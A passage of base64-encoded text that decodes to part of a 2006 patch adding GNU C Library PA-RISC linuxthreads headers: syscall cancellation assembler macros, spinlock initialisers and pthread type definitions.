ZGVsYXkgKi8JCQlBU01fTElORV9TRVAJXAorCS8qIE9QVElNSVpFOiBEb24ndCByZWxvYWQgcjE5
ICovCQlBU01fTElORV9TRVAJXAorCS8qIGRvIGEgLTEqc3lzY2FsbF9yZXQwICovCQkJQVNNX0xJ
TkVfU0VQCVwKKwlzdWIgJXIwLCBUUkVHLCBUUkVHCQkJCUFTTV9MSU5FX1NFUAlcCisJLyogU3Rv
cmUgaW50byBlcnJubyBsb2NhdGlvbiAqLwkJCUFTTV9MSU5FX1NFUAlcCisJc3R3IFRSRUcsIDAo
JXNyMCwlcmV0MCkJCQkJQVNNX0xJTkVfU0VQCVwKKwliIEwocHJlX2VuZCkJCQkJCUFTTV9MSU5F
X1NFUAlcCisJLyogcmV0dXJuIC0xIGFzIGVycm9yICovCQkJQVNNX0xJTkVfU0VQCVwKKwlsZG8g
LTEoJXIwKSwgJXJldDAgLyogZGVsYXkgKi8JCQlBU01fTElORV9TRVAJXAorTChwc2V1ZG9fY2Fu
Y2VsKToJCQkJCUFTTV9MSU5FX1NFUAlcCisJUFVTSEFSR1NfIyNhcmdzIC8qIFNhdmUgYXJncyAq
LwkJCUFTTV9MSU5FX1NFUAlcCisJLyogU2F2ZSByMTkgaW50byBUUkVHICovCQkJQVNNX0xJTkVf
U0VQCVwKKwlDRU5BQkxFIC8qIEZVTkMgQ0FMTCAqLwkJCQlBU01fTElORV9TRVAJXAorCVNBVkVf
UElDKFRSRUcpIC8qIGRlbGF5ICovCQkJQVNNX0xJTkVfU0VQCVwKKwkvKiByZXN0b3JlIHN5c2Nh
bGwgYXJncyAqLwkJCUFTTV9MSU5FX1NFUAlcCisJUE9QQVJHU18jI2FyZ3MJCQkJCUFTTV9MSU5F
X1NFUAlcCisJLyogc2F2ZSBtYXNrIGZyb20gY2VuYWJsZSAodXNlIHN0dWIgcnAgc2xvdCkgKi8J
QVNNX0xJTkVfU0VQCVwKKwlzdHcgJXJldDAsIC0yNCglc3ApCQkJCUFTTV9MSU5FX1NFUAlcCisJ
LyogLi4uIFNZU0NBTEwgLi4uICovCQkJCUFTTV9MSU5FX1NFUAlcCisJYmxlIDB4MTAwKCVzcjIs
JXIwKQkJCQlBU01fTElORV9TRVAgICAgXAorCWxkaSBTWVNfaWZ5IChzeXNjYWxsX25hbWUpLCAl
cjIwIC8qIGRlbGF5ICovCUFTTV9MSU5FX1NFUAlcCisJLyogLi4uLi4uLi4uLi4uLi4uICovCQkJ
CUFTTV9MSU5FX1NFUAlcCisJTE9BRF9QSUMoVFJFRykJCQkJCUFTTV9MSU5FX1NFUAlcCisJLyog
cGFzcyBtYXNrIGFzIGFyZzAgdG8gY2Rpc2FibGUgKi8JCUFTTV9MSU5FX1NFUAlcCisJbGR3IC0y
NCglc3ApLCAlcjI2CQkJCUFTTV9MSU5FX1NFUAlcCisJQ0RJU0FCTEUJCQkJCUFTTV9MSU5FX1NF
UAlcCisJc3R3ICVyZXQwLCAtMjQoJXNwKSAvKiBkZWxheSAqLwkJCUFTTV9MSU5FX1NFUAlcCisJ
LyogUmVzdG9yZSBzeXNjYWxsIHJldHVybiAqLwkJCUFTTV9MSU5FX1NFUAlcCisJbGR3IC0yNCgl
c3ApLCAlcmV0MAkJCQlBU01fTElORV9TRVAJXAorCS8qIGNvbXBhcmUgZXJyb3IgKi8JCQkJQVNN
X0xJTkVfU0VQCVwKKwlsZGkgTk9fRVJST1IsJXIxCQkJCUFTTV9MSU5FX1NFUAlcCisJLyogYnJh
bmNoIGlmIG5vIGVycm9yICovCQkJQVNNX0xJTkVfU0VQCVwKKwljbXBiLD4+PSxuICVyMSwlcmV0
MCxMKHByZV9lbmQpCQkJQVNNX0xJTkVfU0VQCVwKKwlMT0FEX1BJQyhUUkVHKQkvKiBjb25kLiBu
dWxsaWZ5ICovCQlBU01fTElORV9TRVAJXAorCWNvcHkgJXJldDAsIFRSRUcgLyogc2F2ZSBzeXNj
YWxsIHJldHVybiAqLwlBU01fTElORV9TRVAJXAorCVNZU0NBTExfRVJST1JfSEFORExFUgkJCQlB
U01fTElORV9TRVAJXAorCS8qIG1ha2Ugc3lzY2FsbCByZXMgdmFsdWUgcG9zaXRpdmUgKi8JCUFT
TV9MSU5FX1NFUAlcCisJc3ViICVyMCwgVFJFRywgVFJFRwkvKiBkZWxheSAqLwkJQVNNX0xJTkVf
U0VQCVwKKwkvKiBObyBuZWVkIHRvIExPQURfUElDICovCQkJQVNNX0xJTkVfU0VQCVwKKwkvKiBz
dG9yZSBpbnRvIGVycm5vIGxvY2F0aW9uICovCQkJQVNNX0xJTkVfU0VQCVwKKwlzdHcgVFJFRywg
MCglc3IwLCVyZXQwKQkJCQlBU01fTElORV9TRVAJXAorCS8qIHJldHVybiAtMSAqLwkJCQkJQVNN
X0xJTkVfU0VQCVwKKwlsZG8gLTEoJXIwKSwgJXJldDAJCQkJQVNNX0xJTkVfU0VQCVwKK0wocHJl
X2VuZCk6CQkJCQkJQVNNX0xJTkVfU0VQCVwKKwkvKiBSZXN0b3JlIHJwIGJlZm9yZSBleGl0ICov
CQkJQVNNX0xJTkVfU0VQCVwKKwlsZHcgLTg0KCVzcjAsJXNwKSwgJXJwCQkJCUFTTV9MSU5FX1NF
UAlcCisJLyogVW5kbyBmcmFtZSAqLwkJCQlBU01fTElORV9TRVAJXAorCWxkd20gLTY0KCVzcCks
VFJFRwkJCQlBU01fTElORV9TRVAJXAorCS8qIE5vIG5lZWQgdG8gTE9BRF9QSUMgKi8JCQlBU01f
TElORV9TRVAKKworLyogU2F2ZSBhcmd1bWVudHMgaW50byBvdXIgZnJhbWUgKi8KKyMgZGVmaW5l
IFBVU0hBUkdTXzAJLyogbm90aGluZyB0byBkbyAqLworIyBkZWZpbmUgUFVTSEFSR1NfMQlQVVNI
QVJHU18wIHN0dyAlcjI2LCAtMzYoJXNyMCwlc3ApCUFTTV9MSU5FX1NFUAorIyBkZWZpbmUgUFVT
SEFSR1NfMglQVVNIQVJHU18xIHN0dyAlcjI1LCAtNDAoJXNyMCwlc3ApCUFTTV9MSU5FX1NFUAor
IyBkZWZpbmUgUFVTSEFSR1NfMwlQVVNIQVJHU18yIHN0dyAlcjI0LCAtNDQoJXNyMCwlc3ApCUFT
TV9MSU5FX1NFUAorIyBkZWZpbmUgUFVTSEFSR1NfNAlQVVNIQVJHU18zIHN0dyAlcjIzLCAtNDgo
JXNyMCwlc3ApCUFTTV9MSU5FX1NFUAorIyBkZWZpbmUgUFVTSEFSR1NfNQlQVVNIQVJHU180IHN0
dyAlcjIyLCAtNTIoJXNyMCwlc3ApCUFTTV9MSU5FX1NFUCAKKyMgZGVmaW5lIFBVU0hBUkdTXzYJ
UFVTSEFSR1NfNSBzdHcgJXIyMSwgLTU2KCVzcjAsJXNwKQlBU01fTElORV9TRVAKKworLyogQnJp
bmcgdGhlbSBiYWNrIGZyb20gdGhlIHN0YWNrICovCisjIGRlZmluZSBQT1BBUkdTXzAJLyogbm90
aGluZyB0byBkbyAqLworIyBkZWZpbmUgUE9QQVJHU18xCVBPUEFSR1NfMCBsZHcgLTM2KCVzcjAs
JXNwKSwgJXIyNglBU01fTElORV9TRVAKKyMgZGVmaW5lIFBPUEFSR1NfMglQT1BBUkdTXzEgbGR3
IC00MCglc3IwLCVzcCksICVyMjUJQVNNX0xJTkVfU0VQCisjIGRlZmluZSBQT1BBUkdTXzMJUE9Q
QVJHU18yIGxkdyAtNDQoJXNyMCwlc3ApLCAlcjI0CUFTTV9MSU5FX1NFUAorIyBkZWZpbmUgUE9Q
QVJHU180CVBPUEFSR1NfMyBsZHcgLTQ4KCVzcjAsJXNwKSwgJXIyMwlBU01fTElORV9TRVAKKyMg
ZGVmaW5lIFBPUEFSR1NfNQlQT1BBUkdTXzQgbGR3IC01Miglc3IwLCVzcCksICVyMjIJQVNNX0xJ
TkVfU0VQCisjIGRlZmluZSBQT1BBUkdTXzYJUE9QQVJHU181IGxkdyAtNTYoJXNyMCwlc3ApLCAl
cjIxCUFTTV9MSU5FX1NFUAorCisjIGlmZGVmIElTX0lOX2xpYnB0aHJlYWQKKyMgIGlmZGVmIFBJ
QworIyAgIGRlZmluZSBDRU5BQkxFIC5pbXBvcnQgX19wdGhyZWFkX2VuYWJsZV9hc3luY2NhbmNl
bCxjb2RlIEFTTV9MSU5FX1NFUCBcCisJCQlibCBfX3B0aHJlYWRfZW5hYmxlX2FzeW5jY2FuY2Vs
LCVyMiBBU01fTElORV9TRVAKKyMgICBkZWZpbmUgQ0RJU0FCTEUgLmltcG9ydCBfX3B0aHJlYWRf
ZGlzYWJsZV9hc3luY2NhbmNlbCxjb2RlIEFTTV9MSU5FX1NFUCBcCisJCQlibCBfX3B0aHJlYWRf
ZGlzYWJsZV9hc3luY2NhbmNlbCwlcjIgQVNNX0xJTkVfU0VQCisjICBlbHNlCisjICAgZGVmaW5l
IENFTkFCTEUgLmltcG9ydCBfX3B0aHJlYWRfZW5hYmxlX2FzeW5jY2FuY2VsLGNvZGUgQVNNX0xJ
TkVfU0VQIFwKKwkJCWJsIF9fcHRocmVhZF9lbmFibGVfYXN5bmNjYW5jZWwsJXIyIEFTTV9MSU5F
X1NFUAorIyAgIGRlZmluZSBDRElTQUJMRSAuaW1wb3J0IF9fcHRocmVhZF9kaXNhYmxlX2FzeW5j
Y2FuY2VsLGNvZGUgQVNNX0xJTkVfU0VQIFwKKwkJCWJsIF9fcHRocmVhZF9kaXNhYmxlX2FzeW5j
Y2FuY2VsLCVyMiBBU01fTElORV9TRVAKKyMgIGVuZGlmCisjIGVsaWYgIWRlZmluZWQgTk9UX0lO
X2xpYmMKKyMgIGlmZGVmIFBJQworIyAgIGRlZmluZSBDRU5BQkxFIC5pbXBvcnQgX19saWJjX2Vu
YWJsZV9hc3luY2NhbmNlbCxjb2RlIEFTTV9MSU5FX1NFUCBcCisJCQlibCBfX2xpYmNfZW5hYmxl
X2FzeW5jY2FuY2VsLCVyMiBBU01fTElORV9TRVAKKyMgICBkZWZpbmUgQ0RJU0FCTEUJLmltcG9y
dCBfX2xpYmNfZGlzYWJsZV9hc3luY2NhbmNlbCxjb2RlIEFTTV9MSU5FX1NFUCBcCisJCQlibCBf
X2xpYmNfZGlzYWJsZV9hc3luY2NhbmNlbCwlcjIgQVNNX0xJTkVfU0VQCisjICBlbHNlCisjICAg
ZGVmaW5lIENFTkFCTEUgLmltcG9ydCBfX2xpYmNfZW5hYmxlX2FzeW5jY2FuY2VsLGNvZGUgQVNN
X0xJTkVfU0VQIFwKKwkJCWJsIF9fbGliY19lbmFibGVfYXN5bmNjYW5jZWwsJXIyIEFTTV9MSU5F
X1NFUAorIyAgIGRlZmluZSBDRElTQUJMRQkuaW1wb3J0IF9fbGliY19kaXNhYmxlX2FzeW5jY2Fu
Y2VsLGNvZGUgQVNNX0xJTkVfU0VQIFwKKwkJCWJsIF9fbGliY19kaXNhYmxlX2FzeW5jY2FuY2Vs
LCVyMiBBU01fTElORV9TRVAKKyMgIGVuZGlmCisjIGVsc2UKKyMgIGlmZGVmIFBJQworIyAgIGRl
ZmluZSBDRU5BQkxFIC5pbXBvcnQgX19saWJydF9lbmFibGVfYXN5bmNjYW5jZWwsY29kZSBBU01f
TElORV9TRVAgXAorCQkJYmwgX19saWJydF9lbmFibGVfYXN5bmNjYW5jZWwsJXIyIEFTTV9MSU5F
X1NFUAorIyAgIGRlZmluZSBDRElTQUJMRSAuaW1wb3J0IF9fbGlicnRfZGlzYWJsZV9hc3luY2Nh
bmNlbCxjb2RlIEFTTV9MSU5FX1NFUCBcCisJCQlibCBfX2xpYnJ0X2Rpc2FibGVfYXN5bmNjYW5j
ZWwsJXIyIEFTTV9MSU5FX1NFUAorIyAgZWxzZQorIyAgIGRlZmluZSBDRU5BQkxFIC5pbXBvcnQg
X19saWJydF9lbmFibGVfYXN5bmNjYW5jZWwsY29kZSBBU01fTElORV9TRVAgXAorCQkJYmwgX19s
aWJydF9lbmFibGVfYXN5bmNjYW5jZWwsJXIyIEFTTV9MSU5FX1NFUAorIyAgIGRlZmluZSBDRElT
QUJMRSAuaW1wb3J0IF9fbGlicnRfZGlzYWJsZV9hc3luY2NhbmNlbCxjb2RlIEFTTV9MSU5FX1NF
UCBcCisJCQlibCBfX2xpYnJ0X2Rpc2FibGVfYXN5bmNjYW5jZWwsJXIyIEFTTV9MSU5FX1NFUAor
IyAgZW5kaWYKKyMgZW5kaWYKKworLyogcF9oZWFkZXIubXVsdGlwbGVfdGhyZWFkcyBpcyArMTIg
ZnJvbSB0aGUgcHRocmVhZF9kZXNjciBzdHJ1Y3Qgc3RhcnQsCisgICBXZSBjb3VsZCBoYXZlIGNh
bGxlZCBfX2dldF9jcjI3KCkgYnV0IHdlIHJlYWxseSB3YW50IGxlc3Mgb3ZlcmhlYWQgKi8KKyMg
ZGVmaW5lIE1VTFRJUExFX1RIUkVBRFNfT0ZGU0VUIDB4QworCisvKiBjcjI3IGhhcyBiZWVuIGlu
aXRpYWxpemVkIHRvIDB4MCBieSBrZXJuZWwgKi8KKyMgZGVmaW5lIE5PX1RIUkVBRF9DUjI3IDB4
MAorCisjIGlmZGVmIElTX0lOX2xpYnB0aHJlYWQKKyMgIGRlZmluZSBfX2xvY2FsX211bHRpcGxl
X3RocmVhZHMgX19wdGhyZWFkX211bHRpcGxlX3RocmVhZHMKKyMgZWxpZiAhZGVmaW5lZCBOT1Rf
SU5fbGliYworIyAgZGVmaW5lIF9fbG9jYWxfbXVsdGlwbGVfdGhyZWFkcyBfX2xpYmNfbXVsdGlw
bGVfdGhyZWFkcworIyBlbHNlCisjICBkZWZpbmUgX19sb2NhbF9tdWx0aXBsZV90aHJlYWRzIF9f
bGlicnRfbXVsdGlwbGVfdGhyZWFkcworIyBlbmRpZgorCisjIGlmbmRlZiBfX0FTU0VNQkxFUl9f
CisgZXh0ZXJuIGludCBfX2xvY2FsX211bHRpcGxlX3RocmVhZHMgYXR0cmlidXRlX2hpZGRlbjsK
KyMgIGRlZmluZSBTSU5HTEVfVEhSRUFEX1AgX19idWlsdGluX2V4cGVjdCAoX19sb2NhbF9tdWx0
aXBsZV90aHJlYWRzID09IDAsIDEpCisjIGVsc2UKKy8qIFRoaXMgQUxUIHZlcnNpb24gcmVxdWly
ZXMgbmV3ZXIga2VybmVsIHN1cHBvcnQgKi8KKyMgIGRlZmluZSBTSU5HTEVfVEhSRUFEX1BfTUZD
VEwJCQkJCQlcCisJbWZjdGwgJWNyMjcsICVyZXQwCQkJCQlBU01fTElORV9TRVAJXAorCWNtcGli
LD0gTk9fVEhSRUFEX0NSMjcsJXJldDAsTChzdHApCQkJQVNNX0xJTkVfU0VQCVwKKwlub3AJCQkJ
CQkJQVNNX0xJTkVfU0VQCVwKKwlsZHcgTVVMVElQTEVfVEhSRUFEU19PRkZTRVQoJXNyMCwlcmV0
MCksJXJldDAJCUFTTV9MSU5FX1NFUAlcCitMKHN0cCk6CQkJCQkJCQlBU01fTElORV9TRVAKKyMg
IGlmZGVmIFBJQworLyogU2xvd2VyIHZlcnNpb24gdXNlcyBHT1QgdG8gZ2V0IHZhbHVlIG9mIF9f
bG9jYWxfbXVsdGlwbGVfdGhyZWFkcyAqLworIyAgIGRlZmluZSBTSU5HTEVfVEhSRUFEX1AJCQkJ
CQkJXAorCWFkZGlsIExUJV9fbG9jYWxfbXVsdGlwbGVfdGhyZWFkcywgJXIxOQkJCUFTTV9MSU5F
X1NFUAlcCisJbGR3IFJUJV9fbG9jYWxfbXVsdGlwbGVfdGhyZWFkcyglc3IwLCVyMSksICVyZXQw
CUFTTV9MSU5FX1NFUAlcCisJbGR3IDAoJXNyMCwlcmV0MCksICVyZXQwIAkJCQlBU01fTElORV9T
RVAKKyMgIGVsc2UKKy8qIFNsb3cgbm9uLXBpYyB2ZXJzaW9uIHVzaW5nIERQICovCisjICAgZGVm
aW5lIFNJTkdMRV9USFJFQURfUAkJCQkJCQkJXAorCWFkZGlsIExSJV9fbG9jYWxfbXVsdGlwbGVf
dGhyZWFkcy0kZ2xvYmFsJCwlcjI3ICAJCUFTTV9MSU5FX1NFUAlcCisJbGR3IFJSJV9fbG9jYWxf
bXVsdGlwbGVfdGhyZWFkcy0kZ2xvYmFsJCglc3IwLCVyMSksJXJldDAJQVNNX0xJTkVfU0VQCisj
ICBlbmRpZgorIyBlbmRpZgorI2VsaWYgIWRlZmluZWQgX19BU1NFTUJMRVJfXworCisvKiBUaGlz
IGNvZGUgc2hvdWxkIG5ldmVyIGJlIHVzZWQgYnV0IHdlIGRlZmluZSBpdCBhbnlob3cuICAqLwor
IyBkZWZpbmUgU0lOR0xFX1RIUkVBRF9QICgxKQorCisjZW5kaWYKKy8qICFkZWZpbmVkIE5PVF9J
Tl9saWJjIHx8IGRlZmluZWQgSVNfSU5fbGlicHRocmVhZCAqLwpJbmRleDogc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9saW51eHRocmVhZHMvYml0cy9pbml0c3Bpbi5oCj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
UkNTIGZpbGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL2JpdHMv
aW5pdHNwaW4uaApkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJl
YWRzL2JpdHMvaW5pdHNwaW4uaAotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAw
MDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL2JpdHMvaW5p
dHNwaW4uaAkxNCBBcHIgMjAwNiAyMToxOTo1NSAtMDAwMApAQCAtMCwwICsxLDQxIEBACisvKiBQ
QS1SSVNDIHNwZWNpZmljIGRlZmluaXRpb25zIGZvciBzcGlubG9jayBpbml0aWFsaXplcnMuCisg
ICBDb3B5cmlnaHQgKEMpIDIwMDAsIDIwMDEgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMu
CisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5k
L29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVy
YWwgUHVibGljIExpY2Vuc2UgYXMKKyAgIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uOyBlaXRoZXIgdmVyc2lvbiAyLjEgb2YgdGhlCisgICBMaWNlbnNlLCBvciAoYXQg
eW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBp
cyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0
IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkg
b2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T
RS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9y
ZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBH
TlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBD
IExpYnJhcnk7IHNlZSB0aGUgZmlsZSBDT1BZSU5HLkxJQi4gIElmIG5vdCwKKyAgIHdyaXRlIHRv
IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSAtIFN1
aXRlIDMzMCwKKyAgIEJvc3RvbiwgTUEgMDIxMTEtMTMwNywgVVNBLiAgKi8KKworLyogSW5pdGlh
bCB2YWx1ZSBvZiBhIHNwaW5sb2NrLiAgUEEtUklTQyBvbmx5IGltcGxlbWVudHMgYXRvbWljIGxv
YWQKKyAgIGFuZCBjbGVhciBzbyB0aGlzIG11c3QgYmUgbm9uLXplcm8uICovCisjZGVmaW5lIF9f
TFRfU1BJTkxPQ0tfSU5JVCAoKF9fYXRvbWljX2xvY2tfdCkgeyB7IDEsIDEsIDEsIDEgfSB9KQor
CisvKiBJbml0aWFsaXplIGdsb2JhbCBzcGlubG9ja3Mgd2l0aG91dCBjYXN0LCBnZW5lcmFsbHkg
bWFjcm8gd3JhcHBlZCAqLworI2RlZmluZSBfX0xUX1NQSU5MT0NLX0FMVF9JTklUIHsgeyAxLCAx
LCAxLCAxIH0gfQorCisvKiBNYWNyb3MgZm9yIGxvY2sgaW5pdGlhbGl6ZXJzLCBub3QgdXNpbmcg
dGhlIGFib3ZlIGRlZmluaXRpb24uCisgICBUaGUgYWJvdmUgZGVmaW5pdGlvbiBpcyBub3QgdXNl
ZCBpbiB0aGUgY2FzZSB0aGF0IHN0YXRpYyBpbml0aWFsaXplcnMKKyAgIHVzZSB0aGlzIHZhbHVl
LiAqLworI2RlZmluZSBfX0xPQ0tfQUxUX0lOSVRJQUxJWkVSIHsgX19MVF9TUElOTE9DS19BTFRf
SU5JVCwgMCB9CisKKy8qIFVzZWQgdG8gaW5pdGlhbGl6ZSBfcHRocmVhZF9mYXN0bG9jaydzIGlu
IG5vbi1zdGF0aWMgY2FzZSAqLworI2RlZmluZSBfX0xPQ0tfSU5JVElBTElaRVIgKChzdHJ1Y3Qg
X3B0aHJlYWRfZmFzdGxvY2speyBfX0xUX1NQSU5MT0NLX0lOSVQsIDAgfSkKKworLyogVXNlZCBp
biBwdGhyZWFkX2F0b21pYyBpbml0aWFsaXphdGlvbiAqLworI2RlZmluZSBfX0FUT01JQ19JTklU
SUFMSVpFUiB7IDAsIF9fTFRfU1BJTkxPQ0tfQUxUX0lOSVQgfQorCisvKiBUZWxsIHRoZSByZXN0
IG9mIHRoZSBjb2RlIHRoYXQgdGhlIGluaXRpYWxpemVyIGlzIG5vbi16ZXJvIHdpdGhvdXQKKyAg
IGV4cGxhaW5pbmcgaXQncyBpbnRlcm5hbCBzdHJ1Y3R1cmUgKi8KKyNkZWZpbmUgX19MVF9JTklU
SUFMSVpFUl9OT1RfWkVSTworCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2xp
bnV4dGhyZWFkcy9iaXRzL3B0aHJlYWR0eXBlcy5oCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJlYWRzL2JpdHMvcHRocmVhZHR5cGVzLmgK
ZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2xpbnV4dGhyZWFkcy9iaXRzL3B0
aHJlYWR0eXBlcy5oCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysg
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9saW51eHRocmVhZHMvYml0cy9wdGhyZWFkdHlw
ZXMuaAkxNCBBcHIgMjAwNiAyMToxOTo1NSAtMDAwMApAQCAtMCwwICsxLDE2MCBAQAorLyogTGlu
dXh0aHJlYWRzIC0gYSBzaW1wbGUgY2xvbmUoKS1iYXNlZCBpbXBsZW1lbnRhdGlvbiBvZiBQb3Np
eCAgICAgICAgKi8KKy8qIHRocmVhZHMgZm9yIExpbnV4LiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCisvKiBDb3B5cmlnaHQgKEMpIDE5OTYgWGF2
aWVyIExlcm95IChYYXZpZXIuTGVyb3lAaW5yaWEuZnIpICAgICAgICAgICAgICAqLworLyogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgKi8KKy8qIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJl
ZGlzdHJpYnV0ZSBpdCBhbmQvb3IgICAgICAgICovCisvKiBtb2RpZnkgaXQgdW5kZXIgdGhlIHRl
cm1zIG9mIHRoZSBHTlUgTGlicmFyeSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlICAqLworLyogYXMg
cHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9u
IDIgICAgICAgKi8KKy8qIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBs
YXRlciB2ZXJzaW9uLiAgICAgICAgICAgICAgICovCisvKiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLworLyogVGhp
cyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2Vm
dWwsICAgICAgKi8KKy8qIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRo
ZSBpbXBsaWVkIHdhcnJhbnR5IG9mICAgICAgICovCisvKiBNRVJDSEFOVEFCSUxJVFkgb3IgRklU
TkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlICAgICAgICAqLworLyogR05V
IExpYnJhcnkgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLiAgICAgICAg
ICAgICAgICAgKi8KKworI2lmICFkZWZpbmVkIF9CSVRTX1RZUEVTX0ggJiYgIWRlZmluZWQgX1BU
SFJFQURfSAorIyBlcnJvciAiTmV2ZXIgaW5jbHVkZSA8Yml0cy9wdGhyZWFkdHlwZXMuaD4gZGly
ZWN0bHk7IHVzZSA8c3lzL3R5cGVzLmg+IGluc3RlYWQuIgorI2VuZGlmCisKKyNpZm5kZWYgX0JJ
VFNfUFRIUkVBRFRZUEVTX0gKKyNkZWZpbmUgX0JJVFNfUFRIUkVBRFRZUEVTX0gJMQorCisjZGVm
aW5lIF9fbmVlZF9zY2hlZHBhcmFtCisjaW5jbHVkZSA8Yml0cy9zY2hlZC5oPgorCisvKiBXZSBu
ZWVkIDEyOC1iaXQgYWxpZ25tZW50IGZvciB0aGUgbGRjdyBzZW1hcGhvcmUuICBBdCBtb3N0LCB3
ZSBhcmUKKyAgIGFzc3VyZWQgb2YgNjQtYml0IGFsaWdubWVudCBmb3Igc3RhY2sgbG9jYWxzIGFu
ZCBtYWxsb2MnZCBkYXRhLiAgVGh1cywKKyAgIHdlIHVzZSBhIHN0cnVjdCB3aXRoIGZvdXIgaW50
cyBmb3IgdGhlIGF0b21pYyBsb2NrIHR5cGUuICBUaGUgbG9ja2luZworICAgY29kZSB3aWxsIGZp
Z3VyZSBvdXQgd2hpY2ggb2YgdGhlIGZvdXIgdG8gdXNlIGZvciB0aGUgbGRjdyBzZW1hcGhvcmUu
ICAqLwordHlwZWRlZiB2b2xhdGlsZSBzdHJ1Y3QgeworICBpbnQgbG9ja1s0XTsKK30gX19hdHRy
aWJ1dGVfXyAoKGFsaWduZWQoMTYpKSkgX19hdG9taWNfbG9ja190OworCisvKiBGYXN0IGxvY2tz
IChub3QgYWJzdHJhY3QgYmVjYXVzZSBtdXRleGVzIGFuZCBjb25kaXRpb25zIGFyZW4ndCBhYnN0
cmFjdCkuICovCitzdHJ1Y3QgX3B0aHJlYWRfZmFzdGxvY2sKK3sKKyAgX19hdG9taWNfbG9ja190
IF9fc3BpbmxvY2s7CS8qIFVzZWQgYnkgY29tcGFyZV9hbmRfc3dhcCBlbXVsYXRpb24uICBBbHNv
LAorCQkJCSAgIGFkYXB0aXZlIFNNUCBsb2NrIHN0b3JlcyBzcGluIGNvdW50IGhlcmUuICovCisg
IGxvbmcgaW50IF9fc3RhdHVzOwkJLyogIkZyZWUiIG9yICJ0YWtlbiIgb3IgaGVhZCBvZiB3YWl0
aW5nIGxpc3QgKi8KK307CisKKyNpZm5kZWYgX1BUSFJFQURfREVTQ1JfREVGSU5FRAorLyogVGhy
ZWFkIGRlc2NyaXB0b3JzICovCit0eXBlZGVmIHN0cnVjdCBfcHRocmVhZF9kZXNjcl9zdHJ1Y3Qg
Kl9wdGhyZWFkX2Rlc2NyOworIyBkZWZpbmUgX1BUSFJFQURfREVTQ1JfREVGSU5FRAorI2VuZGlm
CisKKworLyogQXR0cmlidXRlcyBmb3IgdGhyZWFkcy4gICovCit0eXBlZGVmIHN0cnVjdCBfX3B0
aHJlYWRfYXR0cl9zCit7CisgIGludCBfX2RldGFjaHN0YXRlOworICBpbnQgX19zY2hlZHBvbGlj
eTsKKyAgc3RydWN0IF9fc2NoZWRfcGFyYW0gX19zY2hlZHBhcmFtOworICBpbnQgX19pbmhlcml0
c2NoZWQ7CisgIGludCBfX3Njb3BlOworICBzaXplX3QgX19ndWFyZHNpemU7CisgIGludCBfX3N0
YWNrYWRkcl9zZXQ7CisgIHZvaWQgKl9fc3RhY2thZGRyOworICBzaXplX3QgX19zdGFja3NpemU7
